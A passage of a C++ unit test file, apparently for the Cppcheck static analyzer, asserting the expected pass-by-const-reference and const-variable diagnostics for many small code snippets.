\\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit 